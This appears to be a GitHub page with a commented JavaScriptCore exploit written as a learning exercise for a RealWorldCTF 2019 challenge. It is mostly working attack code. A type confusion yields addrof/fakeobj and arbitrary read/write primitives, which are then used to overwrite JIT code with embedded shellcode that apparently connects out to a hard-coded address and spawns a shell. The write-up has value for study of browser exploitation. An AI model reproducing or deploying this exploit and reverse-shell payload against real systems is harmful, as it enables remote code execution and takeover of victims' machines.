-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexploit.js
320 lines (274 loc) · 11.1 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
/*
* This is my heavily commented version of qwertyoruiop's
* JSC nday exploit, used to solve the FastStructureCache challenge from
* RealWorldCTF 2019 finals. I thought it might be a fun exercise to
* reverse engineer it, since I didn't manage to solve the challenge during the CTF
* and have never really done any Browser Exploitation before. I removed some lines, that didn't
* appear nescessary for the exploit to work. All original comments by qwertyoruiop
* are marked as such.
* I tried to draw some memory visualizations to help follow the exploit.
* They can be found in the FastStructureCache.pdf file. All comments in the style
* of '// --- <label> ---' are references to these drawings.
* I'm very new to this topic so there might be some mistakes in my explanations.
* If you find any, feel free to correct me ;)
*
* - A2nkF
*/
// --- Stage 1 ---
// These objects are going to help us later on ;)
let container = {a:0, b:0, c:0, d:0, e:0, f:0};
let above_container = {a:0, b:0, c:0, d:0, e:0, f:0};
let above_above_container = {a:0, b:0, c:0, d:0, e:0, f:0};
// Nice for debugging: 0x41...42... , 0x43...44...
let confuse = new Array(2261634.5176470587, 1.08439614893938e+16);
// --- Stage 2 ---
// This is the object we're using to perform the type confusion
let trigger = new RegExp();
// Allocate a butterfly
trigger[1] = 1;
// Enables the malicios prototype
let hack = 0;
print("Setup done!")
// This is what triggers the bug
RegExp.prototype.__proto__ = new Proxy(RegExp.prototype.__proto__, {has: function() {
if (hack) {
print("Proxy has been executed");
confuse[1] = container;
}
}}); /*
* *orig comment by qwerty*:
* this doesn't trigger type conversion of |s| into SlowPutArrayStorage
*/
/*
* This function is used to shift confuse's pointer to container by 0x10 bytes
* causing it to point to container's a property instead of it's actual header
* this makes container's "e" and "f" properties overlap with the first two fieds
* of the next object, which are the structureID and butterfly
*/
function victim(trigger,f64,u32,confuse) {
/*
* The "in" operator triggers the execution of the "has()" method in trigger's prototype,
* which we have overwritten.
* After jitting this, we'll set hack to 1 thereby
* triggering the malicious prototype in return triggering
* our type confusion
*/
1337 in trigger;
/*
* Due to the type confusion confuse[1] returns the
* address of our container object as a float instead of it as an
* object. We'll add 0x10 to that address, crafting a fakeObject at an
* offset of 0x10 from container. Conviniently, this is also where
* container's properties, which we control, are located :P
*/
f64[0] = f64[1] = confuse[1];
u32[2] += 0x10;
confuse[1] = f64[1];
}
// Get container's StructureID
let desc = describe(container);
desc = desc.substr(desc.indexOf("StructureID")+13);
let sid = parseInt(desc);
print("Container StructureID: " + sid);
// --- Stage 3 ---
/*
* This creates a 0x10 byte buffer with
* a uint32 and a float array pointing to it
* allowing us to easily modify and convert addresses
* between float and decimal/hex.
*
* We need this, because values we write to
* the arrays and properties of objects will be written
* as floats. But we want to control the underlying memory.
* This buffer enables us to craft our hex values the way
* they will be represented in memory using the u32 array
* and use the f64 array to write the corresponding
* float value to arrays or properties.
*/
let u32 = new Uint32Array(4);
let f64 = new Float64Array(u32.buffer);
// JIT victim
for(let i=0; i<10000; i++) victim(trigger,f64,u32,confuse);
print("[DEBUG] victim jitted")
// --- Stage 4 ---
// Enable malicious prototype
hack = 1;
// Trigger Type confusion
victim(trigger,f64,u32,confuse);
/*
* At this point, container points to container+0x10 and
* container.e and container.f overlap with above_container's
* structureID and and butterfly
*/
// Debug
print("describe(confuse): " + describe(confuse));
// --- Stage 5.1 ---
// Allocate a butterfly for us to overwrite later on
above_container[0] = 13.37;
// Debug
print("describe(above_container): " + describe(above_container));
print("describe(container): " + describe(container));
/*
* GCing now would crash because container's butterfly, which actually is container's
* first property, is set to 0xfffe000000000000 which segfaults when
* the GC tries to visit the slots. Therefore is the "critical" section.
*/
// Build a fakeObject inside of container
u32[0] = sid;
u32[1] = 0;
container.a = f64[0]; /*
* confuse's pointer to container is now offset by 0x10
* and we wrote container's structureID to that offset, so
* that property accesses on this fakeObject will work li
*/
// --- Stage 5.2 ---
confuse[1].f = above_container; /*
* Now that the we "shifted" confuse by 0x10 bytes
* confuse.f is acutally the butterfly of above_container.
* So so get above_container->butterfly
* to point back to above_container
*/
// Debug
print("describe(container): " + describe(container));
print("describe(above_container): " + describe(above_container));
confuse[1] = 0; // remove reference to container+0x10
gc(); /*
* confuse[1] doesn't contain the corrupted pointer anymore so
* the GC can run now
*/
// --- Thats it ---
function addrof(obj) {
/*
* container.a and container[2] are at the same address, because containers
* butterfly, which basically points to container[0] points to the address of
* container itself.
* we can add object a property of container
* and read it back as a float using the array in container
*/
above_container.a = obj;
let rv = above_container[2];
above_container.a = 0;
return rv;
}
function fakeobj(ptr) {
/*
* Same as with addrof but this time, we write the address
* instead of reading it.
* So 1. write the pointer as float to the array in container
* 2. return the dereferenced pointer as an object through
* the corresponding property in container
*/
above_container[2] = ptr;
let rv = above_container.a;
above_container[2] = 13.37;
return rv;
}
print("Ab_ab: " + describe(above_above_container));
// Allocate a butterfly in above_above_container. We'll overwrite this
// one as well.
above_above_container.a0 = 13.37;
function readf(pointer) {
f64[0] = addrof(pointer); /*
* We move the address we want to read into the
* buffer. Note that this address has been NaN-boxed
* twice, meaning that we added 2^48 (0x1000000000000)
* to it's original value twice.
*/
u32[0] += 0x10; /*
* we're adding 0x10 to the address we want
* to read, because above_above_container.a0 is at
* above_above_container->butterfly-0x10.
*/
u32[1] -= 0x20000; // This is undoing double NaN-Boxing of our pointer.
above_container[9] = f64[0]; /*
* above_container[9] is actually the butterfly field
* of above_above_container. We write target_address+0x10
* to it.
*/
let val = addrof(above_above_container.a0); /*
* The address of primitive would be leaking
* the address of the object in above_above_container.a0.
* We can get make above_above_container->butterfly and
* arbitrary address and calling
* addrof(above_above_container.a0) will simply read the value
* at above_above_container->butterfly-0x10. This allows us
* to read arbitrary memory.
*/
above_container[9] = addrof(above_container); /*
* Finally, we set above_above_container's
* butterfly to point to above_container. That avoids
* crashing.
*/
return val;
}
function writef(pointer, valf) {
/**
* The write primitive uses the same technique as the read
* but instead of reading above_above_container.a0 we write
* to it
*/
f64[0] = addrof(pointer);
u32[0] += 0x10;
u32[1] -= 0x20000;
above_container[9] = f64[0];
above_above_container.a0 = fakeobj(valf); /**
* Instead of calling fakeobj with a pointer
* we call it with the value we want to write.
*/
above_container[9] = addrof(above_container);
}
// This function just adds an int to a float
function addf(f, int) {
f64[1] = f;
u32[2] += int;
return f64[1];
}
/*
* This part is very straightforward, because we have
* our read/write primitives now:
* 1. Create a function
* 2. JIT it
* 3. Leak the address of that optimized function
* 4. Overwrite the function code with shellcode
* 5. Call the function
*/
let shellcodefunc = new Function("try {try {try {try {} catch(e) {}} catch(e) {}} catch(e) {}} catch(e) {}");
noInline(shellcodefunc);
for (let i=0; i<10000000; i++) shellcodefunc();
let execBase = readf(addf(addrof(shellcodefunc), 0x18));
let jitFunc = readf(addf(execBase, 0x18));
u32[0] = 0x90a62e68;
u32[1] = 0x11686632;
writef(addf(jitFunc, 0x0), f64[0]); // Write first 8byte chunk to jitFunc
u32[0] = 0x026a665c;
u32[1] = 0x106a2a6a;
writef(addf(jitFunc, 0x8), f64[0]); // Write second 8byte chunk to jitFunc+8
u32[0] = 0x016a296a;
u32[1] = 0x5e5f026a;
writef(addf(jitFunc, 0x10), f64[0]); // ...
u32[0] = 0x58d23148;
u32[1] = 0x8948050f;
writef(addf(jitFunc, 0x18), f64[0]);
u32[0] = 0x48585ac7;
u32[1] = 0x050fe689;
writef(addf(jitFunc, 0x20), f64[0]);
u32[0] = 0xb0f63148;
u32[1] = 0x48050f21;
writef(addf(jitFunc, 0x28), f64[0]);
u32[0] = 0x8348c6ff;
u32[1] = 0xf37e02fe;
writef(addf(jitFunc, 0x30), f64[0]);
u32[0] = 0x48c03148;
u32[1] = 0x622f2fbf;
writef(addf(jitFunc, 0x38), f64[0]);
u32[0] = 0x732f6e69;
u32[1] = 0xf6314868;
writef(addf(jitFunc, 0x40), f64[0]);
u32[0] = 0x89485756;
u32[1] = 0xd23148e7;
writef(addf(jitFunc, 0x48), f64[0]);
u32[0] = 0x050f3bb0;
u32[1] = 0x90909090;
writef(addf(jitFunc, 0x50), f64[0]);
print("Executing shellcode at " + addrof(jitFunc))
shellcodefunc(); // Profit :P